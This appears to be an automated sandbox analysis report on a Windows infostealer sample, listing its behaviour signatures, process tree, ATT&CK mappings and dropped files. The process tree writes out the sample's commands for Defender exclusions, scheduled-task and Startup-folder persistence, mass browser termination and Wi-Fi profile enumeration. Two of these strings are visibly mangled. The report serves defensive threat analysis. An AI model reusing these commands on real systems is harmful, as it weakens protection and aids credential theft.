Overview

overview

10

Static

static

10

2026-07-19...er.exe

windows10-2004-x64

9

2026-07-19...er.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 01:21

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.exe
  • Size 3.9MB
  • Sample260720-bqsbgabs9p
  • SHA256 3d50a8ee51de74a6e886194fdb5bed65152e1034c888f86961867da383c29ac3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
collectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 6 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs
    defense_evasion
  • Looks for VirtualBox drivers on disk 2 TTPs 6 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Looks for VMWare drivers on disk 2 TTPs 6 IoCs
    defense_evasion
  • Looks for VMWare services registry key. 1 TTPs 3 IoCs
    defense_evasion
  • Looks for Xen service registry key. 1 TTPs 4 IoCs
    defense_evasion
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Reads ssh keys stored on the system 2 TTPs

    Tries to access SSH used by SSH programs.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

    discovery
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 26 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 32 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare Tools registry key
    • Looks for VMWare drivers on disk
    • Looks for VMWare services registry key.
    • Looks for Xen service registry key.
    • Checks BIOS information in registry
    • Accesses Microsoft Outlook profiles
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • outlook_office_path
    PID:4256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2832
    • C:\Windows\system32\tasklist.exe
      "tasklist" /FO CSV /NH
      2⤵
      • Enumerates processes with tasklist
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
    • C:\Windows\system32\ipconfig.exe
      "ipconfig" /all
      2⤵
      • Gathers network information
      PID:2780
    • C:\Windows\system32\getmac.exe
      "getmac" /FO CSV /NH
      2⤵
        PID:2308
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" bios get manufacturer,version /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2852
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" cpu get numberofcores /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1968
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" diskdrive get model /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4744
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_videocontroller get currenthorizontalresolution,currentverticalresolution /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2396
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" computersystem get totalphysicalmemory /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4884
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" computersystem get manufacturer,model /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:808
      • C:\Windows\system32\sc.exe
        "sc" query type= service state= all
        2⤵
        • Launches sc.exe
        PID:5656
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" service get name /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3688
      • C:\Windows\system32\tasklist.exe
        "tasklist" /FO CSV /NH
        2⤵
        • Enumerates processes with tasklist
        PID:3748
      • C:\Windows\system32\sc.exe
        "sc" query type= service state= all
        2⤵
        • Launches sc.exe
        PID:1488
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-Process | Where-Object {$_.MainWindowTitle -ne \"\"} | Select-Object -ExpandProperty MainWindowTitle"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-WmiObject Win32_Process -Filter 'ProcessId=4256' | Select -Expand ParentProcessId"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-Process -Id 5284 | Select -Expand Name"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4472
      • C:\Windows\system32\hostname.exe
        "hostname"
        2⤵
          PID:2100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | Measure-Object | Select -Expand Count"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2328
        • C:\Windows\system32\schtasks.exe
          "schtasks" /Create /TN 2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer /XML C:\Users\Admin\AppData\Local\Temp\svc_config.xml /F
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4048
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$s=New-Object -ComObject 'Wsaramt.C}ull';$l=$s.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.lnk');$l.TargetPath='C:\Users\Admin\AppData\Local\Temp\2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.exe';$l.WorkingDirectory='C:\Users\Admin\AppData\Local\Temp';$l.Save()"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2076
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try{ Add-Mmprufuruncu -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.exe' -ErrorAction Stop; Write-Output 'OK' }catch{ Write-Output 'NO' }"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3244
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try{ Add-Mmprufuruncu -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction Stop; Write-Output 'OK' }catch{ Write-Output 'NO' }"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2340
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM chrome.exe
          2⤵
          • Kills process with taskkill
          PID:2308
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM msedge.exe
          2⤵
          • Kills process with taskkill
          PID:264
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM brave.exe
          2⤵
          • Kills process with taskkill
          PID:1968
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM opera.exe
          2⤵
          • Kills process with taskkill
          PID:936
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM vivaldi.exe
          2⤵
          • Kills process with taskkill
          PID:5700
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM firefox.exe
          2⤵
          • Kills process with taskkill
          PID:5996
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM browser.exe
          2⤵
          • Kills process with taskkill
          PID:4608
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM dragon.exe
          2⤵
          • Kills process with taskkill
          PID:5656
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM coccoc.exe
          2⤵
          • Kills process with taskkill
          PID:4816
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM chromium.exe
          2⤵
          • Kills process with taskkill
          PID:4800
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM torch.exe
          2⤵
          • Kills process with taskkill
          PID:3008
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM slimjet.exe
          2⤵
          • Kills process with taskkill
          PID:2788
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM centbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:4588
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM 360chrome.exe
          2⤵
          • Kills process with taskkill
          PID:1888
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM qqbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:6008
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM sogouexplorer.exe
          2⤵
          • Kills process with taskkill
          PID:8
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM maxthon.exe
          2⤵
          • Kills process with taskkill
          PID:4960
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM ucbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:1292
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:2100
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM iron.exe
            2⤵
            • Kills process with taskkill
            PID:5764
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM amigo.exe
            2⤵
            • Kills process with taskkill
            PID:4824
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM orbitum.exe
            2⤵
            • Kills process with taskkill
            PID:2748
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:2328
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM avastbrowser.exe
              2⤵
              • Kills process with taskkill
              PID:4864
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM avgbrowser.exe
              2⤵
              • Kills process with taskkill
              PID:2560
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM blisk.exe
              2⤵
              • Kills process with taskkill
              PID:4908
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM iridium.exe
              2⤵
              • Kills process with taskkill
              PID:4128
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM whale.exe
              2⤵
              • Kills process with taskkill
              PID:4484
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM citrio.exe
              2⤵
              • Kills process with taskkill
              PID:1296
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM coolnovo.exe
              2⤵
              • Kills process with taskkill
              PID:5292
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM icedragon.exe
              2⤵
              • Kills process with taskkill
              PID:3124
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /IM wave.exe
              2⤵
              • Kills process with taskkill
              PID:1572
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:3244
              • C:\Windows\system32\taskkill.exe
                "taskkill" /F /IM yandex.exe
                2⤵
                • Kills process with taskkill
                PID:2780
              • C:\Windows\system32\taskkill.exe
                "taskkill" /F /IM epic.exe
                2⤵
                • Kills process with taskkill
                PID:1912
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic" path win32_VideoController get name
                2⤵
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                PID:364
              • C:\Windows\system32\getmac.exe
                "getmac" /fo csv /v
                2⤵
                  PID:1244
                • C:\Windows\system32\tzutil.exe
                  "tzutil" /g
                  2⤵
                    PID:5660
                  • C:\Windows\system32\ipconfig.exe
                    "ipconfig" /all
                    2⤵
                    • Gathers network information
                    PID:1540
                  • C:\Windows\system32\arp.exe
                    "arp" -a
                    2⤵
                    • Network Service Discovery
                    PID:4884
                  • C:\Windows\System32\Wbem\wmic.exe
                    "wmic" path win32_networkadapter get name,description,macaddress
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1820
                  • C:\Windows\system32\netsh.exe
                    "netsh" wlan show profiles
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:4556
                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.exe
                  C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-19_6a998b4ed50780686e6b3b1ea3b39fee_akira_glassworm_rusty-stealer.exe
                  1⤵
                  • Enumerates VirtualBox registry keys
                  • Looks for VirtualBox Guest Additions in registry
                  • Looks for VirtualBox drivers on disk
                  • Looks for VMWare drivers on disk
                  • Checks BIOS information in registry
                  • Enumerates system info in registry
                  • Suspicious use of WriteProcessMemory
                  PID:2764
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
                    2⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2796

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      2
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Persistence

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Privilege Escalation

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Scheduled Task/Job

                      1
                      T1053

                      Scheduled Task

                      1
                      T1053.005

                      Defense Evasion

                      Virtualization/Sandbox Evasion

                      7
                      T1497

                      Credential Access

                      Credentials from Password Stores

                      1
                      T1555

                      Credentials from Web Browsers

                      1
                      T1555.003

                      Unsecured Credentials

                      3
                      T1552

                      Credentials In Files

                      3
                      T1552.001

                      Discovery

                      Browser Information Discovery

                      1
                      T1217

                      File and Directory Discovery

                      2
                      T1083

                      Network Service Discovery

                      1
                      T1046

                      Process Discovery

                      1
                      T1057

                      Query Registry

                      8
                      T1012

                      System Information Discovery

                      5
                      T1082

                      System Location Discovery

                      1
                      T1614

                      System Language Discovery

                      1
                      T1614.001

                      System Network Configuration Discovery

                      1
                      T1016

                      Wi-Fi Discovery

                      1
                      T1016.002

                      Virtualization/Sandbox Evasion

                      7
                      T1497

                      Lateral Movement

                      Collection

                      Data from Local System

                      3
                      T1005

                      Email Collection

                      1
                      T1114

                      Command and Control

                      Web Service

                      1
                      T1102

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 8b7046c9d3664bf4dacf28f4adbee8178fe5527b62efda10af884fce8cab3e69
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 05a0b9afe5a8bede5193af1629a1137e28751faa8ecae1a754e3c1f7138c5215
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 12011b3f0e93f81bc93d4c84fbc3ab738c0a39b4efc7ee9c7e37f20c49a6b399
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 abd6f78707faf75fec3142045da0dc3a0eaf23338d787608ad014db1fb53e32e
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 f1e5d82b5a189ea2be5bcb97eaf21b4ff8cb785bf14b9b7d0c3532a3cd068d60
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 9391d29d7333c1ec443322029cf1afc4f4365014c73be40d3b12540bdc96fb21
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 0423240383d3e5c4c10fc9b86bb901bdec6bf5ee4c323b414cd11689599d3585
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      WBOMRQRB_Admin_10.127.0.212_2a205fd6.zip
                      • Path C:\Users\Admin\AppData\Local\Temp\WBOMRQRB_Admin_10.127.0.212_2a205fd6.zip
                      • Size 445KB
                      • SHA256 3d0b77f09833c4dbf6d07d9c9d832689e0c2a9e96e333066a4bd863d14416e95
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      __PSScriptPolicyTest_yxldomfo.txd.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yxldomfo.txd.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      svc_config.xml
                      • Path C:\Users\Admin\AppData\Local\Temp\svc_config.xml
                      • Size 895B
                      • SHA256 e4517286e589266ec53caea09c5a41a5c38fabc7ec92e01d1f46ea8d715267d9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/2328-38-0x0000020FF3070000-0x0000020FF308E000-memory.dmp
                      Download

                      memory/2328-37-0x0000020FF2C20000-0x0000020FF2CD2000-memory.dmp
                      Download

                      memory/2832-5-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-14-0x0000025B2BBB0000-0x0000025B2BBBA000-memory.dmp
                      Download

                      memory/2832-19-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-16-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-7-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-6-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-8-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-4-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-15-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-18-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/2832-12-0x0000025B2BDF0000-0x0000025B2BEA2000-memory.dmp
                      Download

                      memory/2832-3-0x0000025B135C0000-0x0000025B135E2000-memory.dmp
                      Download

                      memory/2832-0-0x00007FFB7947F000-0x00007FFB79480000-memory.dmp
                      Download

                      memory/2832-11-0x0000025B2BDD0000-0x0000025B2BDEE000-memory.dmp
                      Download

                      memory/2832-13-0x00007FFB792F0000-0x00007FFB79C94000-memory.dmp
                      Download

                      memory/3244-58-0x000001DAC7EF0000-0x000001DAC7EF8000-memory.dmp
                      Download

                      memory/3244-59-0x000001DAC7F20000-0x000001DAC7F26000-memory.dmp
                      Download

                      memory/3244-60-0x000001DAC7F30000-0x000001DAC7F3A000-memory.dmp
                      Download

                      memory/3244-56-0x000001DAC7F40000-0x000001DAC7F5C000-memory.dmp
                      Download

                      memory/3244-55-0x000001DAC7EE0000-0x000001DAC7EEA000-memory.dmp
                      Download